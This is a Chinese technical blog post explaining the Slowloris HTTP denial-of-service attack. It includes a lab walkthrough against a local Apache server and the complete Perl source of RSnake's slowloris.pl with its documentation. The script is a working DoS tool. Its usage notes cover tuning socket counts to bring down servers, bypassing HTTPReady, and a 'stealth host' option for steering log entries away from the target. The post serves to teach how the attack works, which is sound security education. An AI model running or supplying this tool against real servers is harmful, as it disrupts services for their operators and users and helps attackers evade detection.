Chinaunix首页 | 论坛 | 博客
  • 博客访问: 681001
  • 博文数量: 209
  • 博客积分: 26
  • 博客等级: 民兵
  • 技术积分: 326
  • 用 户 组: 普通用户
  • 注册时间: 2011-02-21 09:29
文章分类

全部博文(209)

文章存档

2015年(6)

2014年(40)

2013年(154)

2012年(11)

我的朋友

分类: 网络与安全

2013-03-07 10:01:21

   DDOS又称为分布式拒绝服务,全称是Distributed Denial of ServiceDDOS本是利用合理的请求造成资源过载,导致服务不可用。比如一个停车场共有100车位,当100车位都停满后,再有车想要停进来,就必须等待已有的车先出去才行。如果已有的车一直不出去,那么停车场的入口就会排气长队,停车场的负荷过载,不能正常工作了,这种情况就是拒绝服务

        常见的DDOS攻击有SYN floodUDP floodICMP flood等。其中SYN flood是一种最为经典的DDOS攻击。其利用的是TCP协议设计中的缺陷,此处先避开不谈。

        Slowloris攻击则是利用Web Server的漏洞或设计缺陷,直接造成拒绝服务。下面通过一个典型示例分析slowloris的拒绝服务攻击本质。

        Slowloris是在2009年由著名Web安全专家RSnake提出的一种攻击方法,其原理是以极低的速度往服务器发送HTTP请求。由于Web Server对于并发的连接数都有一定的上限,因此若是恶意地占用住这些连接不释放,那么Web Server的所有连接都将被恶意连接占用,从而无法接受新的请求,导致拒绝服务。

        要保持住这个连接,RSnake构造了一个畸形的HTTP请求,准确地说,是一个不完整的HTTP请求。

        GET / HTTP/1.1\r\n

        HOST: host\r\n

        User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3;     .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n

        Content-Length: 42\r\n

        在正常的HTTP包头中,是以两个CLRF表示HTTP Headers部分结束的。

由于Web Server只收到了一个\r\n,因此将认为HTTP Headers部分没有结束,并保持此连接不释放,继续等待完整的请求。此时客户端再发送任意HTTP头,保持住连接即可。

X-a: b\r\n

当构造多个连接后,服务器的连接数很快就会达到上限。在Slowloris的专题网站上可以下载到POC演示程序,其核心代码置于文章底部,记为slowloris.pl),下面开始使用该脚本工具演示如何使用slowloris攻击使Web Server拒绝服务:

一,准备工作

1.在本机安装配置好Apache2.x,设置MaxClients为50

2.在Browser中访问,结果显示正常

3.下载或编写slowloris.pl脚本

二,开始阶段

1.测试每个http连接等待超时时间,前面我们说过,当Web Server只收到了一个\r\n时,因将其认为HTTP Headers部分尚未结束,故会保持此连接不释放,继续等待完整的请求,此处测试的即为该连接等待完整请求的超时时间。

perl slowloris.pl -dns 127.0.0.1 -port 80 -test

Defaulting to a 5 second tcp connection timeout.

Multithreading enabled.

This test could take up to 14.3666666666667 minutes.

Connection successful, now comes the waiting game...

Trying a 2 second delay: 

Worked.

Trying a 30 second delay: 

Worked.

Trying a 90 second delay: 

Worked.

Trying a 240 second delay: 

Worked.

……

注:若该等待超时时间太小(<166),则使用slowloris对该目标进行攻击可能会出现麻烦

2.正式开始发送不完整请求,攻击Web Server使其拒绝服务。注:因此处我们已将Apache的MaxClients设置为50,故此处使用100个不完整连接已足够。

perl slowloris.pl -dns 127.0.0.1 -port 80 -timeout 200 -num 100

Defaulting to a 5 second tcp connection timeout.

Multithreading enabled.

Connecting to 127.0.0.1:80 every 200 seconds with 100 sockets:

Building sockets.

Building sockets.

Sending data.

Current stats: Slowloris has now sent 294 packets successfully.

This thread now sleeping for 200 seconds...


Sending data.

……

三,验证结果

使用chrome或firefox并打开其debug工具,继续访问,则可发型在HttpRequest发出去后,HttpResponse一直没有收到,出于等待状态。


总结:在该案例中,“有限”的资源是Web Server的连接数。这是一个有上限的值,比如在Apache中这个值由MaxClients定义。如果恶意客户端可以无限制地将连接数占满,就完成了对有限资源的恶意消耗,导致拒绝服务。

在Slowloris发布之前,也曾有人意识到这一问题,但Apache官方否认Slowloris的攻击方式是一个漏洞,他们认为这是Web Server的一种特性,通过调整参数能够缓解此类问题,这使得Slowloris攻击今天仍然很有效。


【注:本文引用了“白帽子讲Web安全”部分定义内容,slowloris脚本则在网络上有成熟和一直在维护的版本下载】

点击(此处)折叠或打开

  1. #!/usr/bin/perl -w
  2. use strict;
  3. use IO::Socket::INET;
  4. use IO::Socket::SSL;
  5. use Getopt::Long;
  6. use Config;

  7. $SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors

  8. my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
  9. my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
  10. my $result = GetOptions(
  11.     'shost=s' => $shost,
  12.     'dns=s' => $host,
  13.     'httpready' => $httpready,
  14.     'num=i' => $connections,
  15.     'cache' => $cache,
  16.     'port=i' => $port,
  17.     'https' => $ssl,
  18.     'tcpto=i' => $tcpto,
  19.     'test' => $test,
  20.     'timeout=i' => $timeout,
  21.     'version' => $version,
  22. );

  23. if ($version) {
  24.     print "Version 0.7n";
  25.     exit;
  26. }

  27. unless ($host) {
  28.     print "Usage:nntperl $0 -dns [] -optionsn";
  29.     print "ntType 'perldoc $0' for help with options.nn";
  30.     exit;
  31. }

  32. unless ($port) {
  33.     $port = 80;
  34.     print "Defaulting to port 80.n";
  35. }

  36. unless ($tcpto) {
  37.     $tcpto = 5;
  38.     print "Defaulting to a 5 second tcp connection timeout.n";
  39. }

  40. unless ($test) {
  41.     unless ($timeout) {
  42.         $timeout = 100;
  43.         print "Defaulting to a 100 second re-try timeout.n";
  44.     }
  45.     unless ($connections) {
  46.         $connections = 1000;
  47.         print "Defaulting to 1000 connections.n";
  48.     }
  49. }

  50. my $usemultithreading = 0;
  51. if ( $Config{usethreads} ) {
  52.     print "Multithreading enabled.n";
  53.     $usemultithreading = 1;
  54.     use threads;
  55.     use threads::shared;
  56. }
  57. else {
  58.     print "No multithreading capabilites found!n";
  59.     print "Slowloris will be slower than normal as a result.n";
  60. }

  61. my $packetcount : shared = 0;
  62. my $failed : shared = 0;
  63. my $connectioncount : shared = 0;

  64. srand() if ($cache);

  65. if ($shost) {
  66.     $sendhost = $shost;
  67. }
  68. else {
  69.     $sendhost = $host;
  70. }
  71. if ($httpready) {
  72.     $method = "POST";
  73. }
  74. else {
  75.     $method = "GET";
  76. }

  77. if ($test) {
  78.     my @times = ( "2", "30", "90", "240", "500" );
  79.     my $totaltime = 0;
  80.     foreach (@times) {
  81.         $totaltime = $totaltime + $_;
  82.     }
  83.     $totaltime = $totaltime / 60;
  84.     print "This test could take up to $totaltime minutes.n";

  85.     my $delay = 0;
  86.     my $working = 0;
  87.     my $sock;

  88.     if ($ssl) {
  89.         if (
  90.             $sock = new IO::Socket::SSL(
  91.                 PeerAddr => "$host",
  92.                 PeerPort => "$port",
  93.                 Timeout => "$tcpto",
  94.                 Proto => "tcp",
  95.             )
  96.           )
  97.         {
  98.             $working = 1;
  99.         }
  100.     }
  101.     else {
  102.         if (
  103.             $sock = new IO::Socket::INET(
  104.                 PeerAddr => "$host",
  105.                 PeerPort => "$port",
  106.                 Timeout => "$tcpto",
  107.                 Proto => "tcp",
  108.             )
  109.           )
  110.         {
  111.             $working = 1;
  112.         }
  113.     }
  114.     if ($working) {
  115.         if ($cache) {
  116.             $rand = "?" . int( rand(99999999999999) );
  117.         }
  118.         else {
  119.             $rand = "";
  120.         }
  121.         my $primarypayload =
  122.             "GET /$rand HTTP/1.1rn"
  123.           . "Host: $sendhostrn"
  124.           . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)rn"
  125.           . "Content-Length: 42rn";
  126.         if ( print $sock $primarypayload ) {
  127.             print "Connection successful, now comes the waiting game...n";
  128.         }
  129.         else {
  130.             print
  131. "That's odd - I connected but couldn't send the data to $host:$port.n";
  132.             print "Is something wrong?nDying.n";
  133.             exit;
  134.         }
  135.     }
  136.     else {
  137.         print "Uhm... I can't connect to $host:$port.n";
  138.         print "Is something wrong?nDying.n";
  139.         exit;
  140.     }
  141.     for ( my $i = 0 ; $i <= $#times ; $i++ ) {
  142.         print "Trying a $times[$i] second delay: n";
  143.         sleep( $times[$i] );
  144.         if ( print $sock "X-a: brn" ) {
  145.             print "tWorked.n";
  146.             $delay = $times[$i];
  147.         }
  148.         else {
  149.             if ( $SIG{__WARN__} ) {
  150.                 $delay = $times[ $i - 1 ];
  151.                 last;
  152.             }
  153.             print "tFailed after $times[$i] seconds.n";
  154.         }
  155.     }

  156.     if ( print $sock "Connection: Closernrn" ) {
  157.         print "Okay that's enough time. Slowloris closed the socket.n";
  158.         print "Use $delay seconds for -timeout.n";
  159.         exit;
  160.     }
  161.     else {
  162.         print "Remote server closed socket.n";
  163.         print "Use $delay seconds for -timeout.n";
  164.         exit;
  165.     }
  166.     if ( $delay < 166 ) {
  167.         print <<EOSUCKS2BU;
  168. Since the timeout ended up being so small ($delay seconds) and it generally
  169. takes between 200-500 threads for most servers and assuming any latency at
  170. all... you might have trouble using Slowloris against this target. You can
  171. tweak the -timeout flag down to less than 10 seconds but it still may not
  172. build the sockets in time.
  173. EOSUCKS2BU
  174.     }
  175. }
  176. else {
  177.     print
  178. "Connecting to $host:$port every $timeout seconds with $connections sockets:n";

  179.     if ($usemultithreading) {
  180.         domultithreading($connections);
  181.     }
  182.     else {
  183.         doconnections( $connections, $usemultithreading );
  184.     }
  185. }

  186. sub doconnections {
  187.     my ( $num, $usemultithreading ) = @_;
  188.     my ( @first, @sock, @working );
  189.     my $failedconnections = 0;
  190.     $working[$_] = 0 foreach ( 1 .. $num ); #initializing
  191.     $first[$_] = 0 foreach ( 1 .. $num ); #initializing
  192.     while (1) {
  193.         $failedconnections = 0;
  194.         print "ttBuilding sockets.n";
  195.         foreach my $z ( 1 .. $num ) {
  196.             if ( $working[$z] == 0 ) {
  197.                 if ($ssl) {
  198.                     if (
  199.                         $sock[$z] = new IO::Socket::SSL(
  200.                             PeerAddr => "$host",
  201.                             PeerPort => "$port",
  202.                             Timeout => "$tcpto",
  203.                             Proto => "tcp",
  204.                         )
  205.                       )
  206.                     {
  207.                         $working[$z] = 1;
  208.                     }
  209.                     else {
  210.                         $working[$z] = 0;
  211.                     }
  212.                 }
  213.                 else {
  214.                     if (
  215.                         $sock[$z] = new IO::Socket::INET(
  216.                             PeerAddr => "$host",
  217.                             PeerPort => "$port",
  218.                             Timeout => "$tcpto",
  219.                             Proto => "tcp",
  220.                         )
  221.                       )
  222.                     {
  223.                         $working[$z] = 1;
  224.                         $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK
  225.                     }
  226.                     else {
  227.                         $working[$z] = 0;
  228.                     }
  229.                 }
  230.                 if ( $working[$z] == 1 ) {
  231.                     if ($cache) {
  232.                         $rand = "?" . int( rand(99999999999999) );
  233.                     }
  234.                     else {
  235.                         $rand = "";
  236.                     }
  237.                     my $primarypayload =
  238.                         "$method /$rand HTTP/1.1rn"
  239.                       . "Host: $sendhostrn"
  240.                       . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)rn"
  241.                       . "Content-Length: 42rn";
  242.                     my $handle = $sock[$z];
  243.                     if ($handle) {
  244.                         print $handle "$primarypayload";
  245.                         if ( $SIG{__WARN__} ) {
  246.                             $working[$z] = 0;
  247.                             close $handle;
  248.                             $failed++;
  249.                             $failedconnections++;
  250.                         }
  251.                         else {
  252.                             $packetcount++;
  253.                             $working[$z] = 1;
  254.                         }
  255.                     }
  256.                     else {
  257.                         $working[$z] = 0;
  258.                         $failed++;
  259.                         $failedconnections++;
  260.                     }
  261.                 }
  262.                 else {
  263.                     $working[$z] = 0;
  264.                     $failed++;
  265.                     $failedconnections++;
  266.                 }
  267.             }
  268.         }
  269.         print "ttSending data.n";
  270.         foreach my $z ( 1 .. $num ) {
  271.             if ( $working[$z] == 1 ) {
  272.                 if ( $sock[$z] ) {
  273.                     my $handle = $sock[$z];
  274.                     if ( print $handle "X-a: brn" ) {
  275.                         $working[$z] = 1;
  276.                         $packetcount++;
  277.                     }
  278.                     else {
  279.                         $working[$z] = 0;
  280.                         #debugging info
  281.                         $failed++;
  282.                         $failedconnections++;
  283.                     }
  284.                 }
  285.                 else {
  286.                     $working[$z] = 0;
  287.                     #debugging info
  288.                     $failed++;
  289.                     $failedconnections++;
  290.                 }
  291.             }
  292.         }
  293.         print
  294. "Current stats:tSlowloris has now sent $packetcount packets successfully.nThis thread now sleeping for $timeout seconds...nn";
  295.         sleep($timeout);
  296.     }
  297. }

  298. sub domultithreading {
  299.     my ($num) = @_;
  300.     my @thrs;
  301.     my $i = 0;
  302.     my $connectionsperthread = 50;
  303.     while ( $i < $num ) {
  304.         $thrs[$i] =
  305.           threads->create( &doconnections, $connectionsperthread, 1 );
  306.         $i += $connectionsperthread;
  307.     }
  308.     my @threadslist = threads->list();
  309.     while ( $#threadslist > 0 ) {
  310.         $failed = 0;
  311.     }
  312. }

  313. __END__

  314. =head1 TITLE

  315. Slowloris

  316. =head1 VERSION

  317. Version 0.7 Beta

  318. =head1 DATE

  319. 06/17/2009

  320. =head1 AUTHOR

  321. RSnake <h@ckers.org> with threading from John Kinsella

  322. =head1 ABSTRACT

  323. Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons.

  324. =head1 AFFECTS

  325. Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...?

  326. =head1 NOT AFFECTED

  327. IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?

  328. =head1 DESCRIPTION

  329. Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more data. Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts. There is an added function to help you get started with finding the right sized timeouts as well.

  330. As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances. Think of Slowloris as the HTTP equivalent of a SYN flood.

  331. =head2 Testing

  332. If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing:

  333. =head3 Testing Example:

  334. ./slowloris.pl -dns -port 80 -test

  335. This won't give you a perfect number, but it should give you a pretty good guess as to where to shoot for. If you really must know the exact number, you may want to mess with the @times array (although I wouldn't suggest that unless you know what you're doing).

  336. =head2 HTTP DoS

  337. Once you find a timeout window, you can tune Slowloris to use certain timeout windows. For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds. The following example uses 500 sockets. Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration. Some are less than 300. The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that's for a future revision. The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful. Slowloris has no way to identify if it's successful or not though.

  338. =head3 HTTP DoS Example:

  339. ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5

  340. =head2 HTTPReady Bypass

  341. HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch.

  342. =head3 HTTPReady Bypass Example

  343. ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready

  344. =head2 Stealth Host DoS

  345. If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable. This way the logs that are created will go to a different virtual host log file, but only if they are kept separately.

  346. =head3 Stealth Host DoS Example:

  347. ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com

  348. =head2 HTTPS DoS

  349. Slowloris does support SSL/TLS on an experimental basis with the -https switch. The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development. Your mileage may vary.

  350. =head3 HTTPS DoS Example:

  351. ./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https

  352. =head2 HTTP Cache

  353. Slowloris does support cache avoidance on an experimental basis with the -cache switch. Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources. The usefulness of this particular option has not been thoroughly tested. Your mileage may vary.

  354. =head3 HTTP Cache Example:

  355. ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache

  356. =head1 Issues

  357. Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it's current incarnation. They may be ways around this, but not in this version at this time. Most likely most anti-DDoS and load balancers won't be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested.

  358. Slowloris isn't completely quiet either, because it can't be. Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder). So it's not invisible if the traffic to the site is typically fairly low. On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture.

  359. For some reason Slowloris works way better if run from a *Nix box than from Windows. I would guess that it's probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number. If you find that you can't open any more ports than ~130 or so on any server you test - you're probably running into this "feature" of modern operating systems. Either way, this program seems to work best if run from FreeBSD.

  360. Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it's logs with a lot of 400 (Bad Request) errors. So while the sockets remain open, you won't be in the logs, but once the sockets close you'll have quite a few entries all lined up next to one another. You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too.

  361. =head1 What is a slow loris?

  362. What exactly is a slow loris? It's an extremely cute but endangered mammal that happens to also be poisonous. Check this out:

  363. http://www.youtube.com/watch?v=rLdQ3UhLoD4


阅读(13425) | 评论(2) | 转发(0) |
给主人留下些什么吧!~~

shuibiande2015-04-09 10:12:10

我还是个新手,看你引用了白帽子讲web安全,请问您能推荐给我基本这放面的书么?

shuibiande2015-04-09 10:08:41

谢谢你,我有了一个初步了解。还附带了案例!谢了